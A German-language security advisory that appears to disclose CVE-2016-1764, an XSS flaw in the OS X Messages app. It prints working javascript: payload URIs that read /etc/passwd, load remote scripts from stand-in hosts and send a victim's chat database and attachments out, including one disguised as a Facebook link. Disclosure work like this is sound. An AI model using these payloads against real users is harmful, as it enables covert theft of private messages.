moloch--/cve-2016-1764Extraktion von iMessage-Daten über XSS
Hersteller: Apple
Veröffentlichungsdatum: 8. April 2016
Patchdatum: 21. März 2016
Betroffene Systeme: Messages unter OSX Mountain Yosemite, El Capitan
Während sich ein Großteil der jüngsten Debatte um Apple auf Kryptografie konzentriert hat, scheinen Industrie und Strafverfolgungsbehörden vergessen zu haben, dass einfachere Schwachstellen auf Anwendungsebene genutzt werden können, um die Verschlüsselung gänzlich zu umgehen. Bei CVE-2016-1764, das von Apple im März 2016 behoben wurde, handelt es sich um einen Fehler auf Anwendungsebene, der durch Ausnutzung des OS-X-iMessage-Clients zur Remote-Offenlegung sämtlicher Nachrichteninhalte und Anhänge im Klartext führt. Darüber hinaus benötigt man keinen Hochschulabschluss in Mathematik, um ihn auszunutzen, noch sind detaillierte Kenntnisse über Speicherverwaltung, Shellcode oder komplexe ASLR-umgehende ROP-Ketten erforderlich. Tatsächlich handelt es sich um einen relativ einfachen Fehler, der von jedem mit grundlegenden JavaScript-Kenntnissen ausgenutzt werden kann.
Messages (iMessage) für OS X von Apple implementiert seine Benutzeroberfläche mithilfe einer eingebetteten Version von WebKit; darüber hinaus rendert Messages unter OS X jede URI als klickbaren HTML-<a href=-Link. Ein Angreifer kann eine einfache JavaScript-URI (z. B. javascript:) erstellen, die dem Angreifer beim Anklicken eine erste JavaScript-Ausführung (XSS) im Kontext des Anwendungs-DOM gewährt. Obwohl die eingebettete WebKit-Bibliothek, die von Messages für OS X verwendet wird, in einer applewebdata://-Origin ausgeführt wird, kann ein Angreifer weiterhin beliebige Dateien mithilfe von XMLHttpRequest-GET-Anfragen (XHR) an eine file://-URI lesen, da keine Same-Origin-Policy (SOP) implementiert ist. Indem ein Angreifer XHR missbraucht, um Dateien zu lesen, kann er den gesamten Chatverlauf und die Anhänge eines Opfers so schnell auf einen entfernten Server hochladen, wie es die Internetverbindung des Opfers erlaubt; die einzige erforderliche Benutzerinteraktion ist das Klicken auf einen einzelnen Link im Chat. Wenn außerdem die SMS-Weiterleitung aktiviert ist, kann der Angreifer auch Nachrichten abrufen, die an das iPhone des Opfers gesendet oder von ihm empfangen wurden.
Wenn Sie alle ungeschönten Details erfahren möchten, lesen Sie weiter.
Messages für OS X verwendet für einen Großteil seiner Benutzeroberfläche eine eingebettete Version von WebKit. Wenn Nachrichten von der Anwendung gesendet oder empfangen werden, wird HTML in das DOM eingefügt, um die Benutzeroberfläche und alle gesendeten Anhänge/Medieninhalte darzustellen. Alle über die Anwendung gesendeten Nachrichten werden in einem DOM gerendert, sodass häufige clientseitige Webschwachstellen die Anwendung beeinträchtigen können.
Beim Testen des Messages-für-OS-X-Clients wurde festgestellt, dass beliebige Protokollschemata automatisch in Links umgewandelt und in das DOM eingefügt wurden. Die folgenden URIs werden beispielsweise beim Übermitteln einer Nachricht alle als Links in die WebView eingefügt:
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
Da Messages für OS X keine Whitelist akzeptierter Protokolle implementiert, kann ein Angreifer einem Opfer eine Nachricht senden, die eine JavaScript-URI javascript: enthält, die auf dem Rechner des Opfers in einen klickbaren Link umgewandelt wird.
Wird darauf geklickt, führt das eingebettete WebKit das vom Angreifer kontrollierte JavaScript pflichtschuldig in der aktuellen Origin aus, zum Beispiel:
Beachten Sie, dass %0a (d. h. \n) verwendet wird, um den JavaScript-Kommentar // zu verlassen, was erforderlich ist, um dem Verlinkungsmuster des Parsers zu entsprechen. Sobald der Code interpretiert wird, sieht er wie folgt aus:
//bishopfox.com/research?
prompt(1)
Beim Anklicken dieses Links wird in Messages für OS X ein JavaScript-Prompt ausgelöst:
Allerdings ist Messages für OS X eine Desktop-Anwendung und keine Website. Daher wird das JavaScript im Kontext einer applewebdata://-Origin ausgeführt:
Der Code des Angreifers wird jedoch in einer vollständigen WebKit-Implementierung ausgeführt, und daher ist XMLHttpRequest zur Laufzeit verfügbar. Einer der Hauptunterschiede zwischen einer eingebetteten Version von WebKit und einem Webbrowser wie Chrome oder Safari besteht darin, dass die eingebettete Version keine Same-Origin-Policy (SOP) implementiert, da es sich um eine native Desktop-Anwendung handelt. Ein Angreifer kann dies ausnutzen, um Dateien vom lokalen Dateisystem zu lesen, ohne die Same-Origin-Policy zu verletzen, indem er XMLHttpRequest-GET-Anfragen an file://-URIs sendet. Die einzige Voraussetzung ist, dass der Angreifer den vollständigen Dateipfad kennen muss; relative Dateisystempfade (z. B. ~/.ssh/id_rsa) können nicht verwendet werden.
Beispielsweise kann das folgende JavaScript vom DOM der Messages-Anwendung ausgeführt werden, um die Datei /etc/passwd zu lesen:
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
In eine URI-Payload umgewandelt sieht der Code wie folgt aus:
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
Beim Anklicken in der Messages-Anwendung erscheint der folgende Prompt:
Da der obige Vektor ziemlich lang ist und übermäßig verdächtig wirkt, ist es möglich, die URI zu verkürzen, indem man JavaScript dynamisch von einer Domain lädt und in das DOM einfügt. Der folgende Vektor injiziert beispielsweise das JavaScript von http://example.com/1.js in das DOM von Messages:
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Die im obigen Vektor referenzierte JavaScript-Datei //example.com/1.js kann beliebige JavaScript-Anweisungen beliebiger Länge enthalten.
Allerdings beschränkte die OS-X-Anwendungs-Sandbox den Dateisystemzugriff auf nur ~/Library/Messages/* und einige andere Nicht-Benutzer-Systemverzeichnisse wie /etc/.
Wenn Nachrichten und Anhänge von Messages unter OS X empfangen werden, werden sie im folgenden Verzeichnis gespeichert:
/Users/<username>/Library/Messages/*
Der Textinhalt dieser Nachrichten und andere Metadaten werden in einer SQLite-Datenbank gespeichert, die sich unter folgendem Pfad befindet:
/Users/<username>/Library/Messages/chat.db
Diese Datenbank enthält auch die Speicherorte aller Anhänge, die sich auf dem Rechner eines Benutzers befinden.
Um diese Datenbank und anschließend alle Anhänge zu stehlen, die ein Opfer jemals empfangen oder gesendet hat, ist eine fortschrittlichere Angriffs-Payload erforderlich.
Die folgenden Schritte müssen durchgeführt werden, bevor die Daten von einem Angreifer erfolgreich exfiltriert werden können:
~ kann wiederum nicht verwendet werden)chat.db erzeugen, d. h. /Users/ExampleUser/Library/Messages/chat.dbXMLHttpRequest verwenden, um die Datenbank chat.db zu lesen und sie nach den Dateipfaden der Anhänge abzufragenXMLHttpRequest oder WebSockets hochladen, falls Sie Echtzeitzugriff wünschen.Wir können den aktuell angemeldeten Benutzer ermitteln, indem wir /Library/Preferences/com.apple.loginwindow.plist anfordern und anschließend parsen. Diese Datei ist praktischerweise aus der OS-X-Anwendungs-Sandbox heraus lesbar. Von hier aus ist es trivial, den vollständigen Pfad zur chat.db des Benutzers zu konstruieren.
Sobald die Datenbankdatei erfolgreich exfiltriert wurde, kann sie an ein benutzerdefiniertes serverseitiges Skript übergeben werden, das die vollständigen Pfade der vom Opfer gesendeten und empfangenen Anhänge extrahiert, die sich in der Tabelle attachments in der Datenbank befinden.
Diese vollständigen Pfade werden von der schädlichen JavaScript-Payload abgerufen und anschließend verwendet, um die Anhangsdateien über XMLHttpRequest vom Rechner des Opfers zu exfiltrieren.
Als Nächstes nimmt der Angreifer eine kleine Verschleierung vor, um die URL etwas glaubwürdiger erscheinen zu lassen:
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Wenn das Opfer die obige URI in der Messages-für-OS-X-Anwendung anklicken würde, würden der gesamte Chatverlauf des Opfers und alle zugehörigen Anhänge an den Angreifer gesendet.
JavaScript ist überall
Sicherheitslücken in Webanwendungen sind nicht mehr nur auf den Browser beschränkt, sondern haben auch ihren Weg in native Anwendungen gefunden. Auch wenn es für Entwickler produktiv sein kann, Webtechnologien wie WebKit oder dessen weitaus gefährlicheren Verwandten nw.js zum Erstellen von Desktop-Anwendungen zu verwenden, müssen dennoch die Best Practices für die Sicherheit von Webanwendungen befolgt werden.